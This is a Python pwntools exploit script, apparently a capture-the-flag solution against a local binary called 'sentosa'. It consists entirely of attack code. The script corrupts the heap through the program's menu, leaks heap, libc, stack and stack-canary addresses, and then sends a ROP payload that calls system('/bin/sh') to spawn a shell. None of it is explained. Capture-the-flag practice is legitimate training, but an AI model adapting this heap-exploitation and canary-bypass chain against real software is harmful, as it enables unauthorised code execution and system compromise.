1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * sh = process('./sentosa')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook']
environ = libc.symbols['environ'] system_s = libc.sym['system'] binsh_s = libc.search('/bin/sh').next() pop_rdi = 0x21102 def create(size,name,price=0, area=0, capacity=0): sh.sendlineafter('5. Exit','1') sh.sendlineafter('Input length of your project name:',str(size)) sh.sendlineafter('Input your project name:',name) sh.sendlineafter('Input your project price:',str(price)) sh.sendlineafter('Input your project area:',str(area)) sh.sendlineafter('Input your project capacity:',str(capacity)) def show(): sh.sendlineafter('5. Exit','2') def delete(index): sh.sendlineafter('5. Exit','4') sh.sendlineafter('Input your projects number:',str(index))
create(0x3,'a'*0x2)
create(0x3,'b'*0x2)
create(0x3,'c'*0x2)
create(0x3,'d'*0x2)
create(0x3,'e'*0x2) delete(1) delete(0) delete(2)
create(0,'a'*0x5A)
show() sh.recvuntil('Capacity: ') h = int(sh.recvuntil('\n',drop = True)) if h < 0: h = 0x100000000 + h heap_addr = (0x55 << 4 * 8) + h << 8 print 'heap_addr=',hex(heap_addr)
fake_chunk = 'd'*4 + '\xA1'
create(0xB,fake_chunk,0x10000)
create(0x59,'f'*0x58)
create(0x59,'g'*0x58)
create(0,'a'*0x5A + p64(heap_addr + 0xC0))
delete(6)
create(0,'b'*0x5A + p64(heap_addr + 0xC0-4))
show() sh.recvuntil('Project: ggggggggggggggg') sh.recvuntil('Project: ') main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s environ_addr = libc_base + environ system_addr = libc_base + system_s binsh_addr = libc_base + binsh_s pop_rdi_addr = libc_base + pop_rdi print 'libc_base=',hex(libc_base) print 'environ_addr=',hex(environ_addr)
delete(3) create(0,'b'*0x5A + p64(environ_addr-4)) show() sh.recvuntil('Project: fffffffffffffff') sh.recvuntil('Project: ') stack_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) print 'stack_addr=',hex(stack_addr)
canary_addr = stack_addr - 0x130 print 'canary_addr=',hex(canary_addr)
delete(4) create(0,'b'*0x5A + p64(canary_addr-3)) show() sh.recvuntil('Project: fffffffffffffff') sh.recvuntil('Project: ') sh.recvuntil('Project: ') canary = u64('\x00' + sh.recvuntil('\n',drop = True)) print 'canary=',hex(canary)
payload = 'a'*0x68 + p64(canary) + p64(0)*5 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) create(0,payload) sh.interactive()
|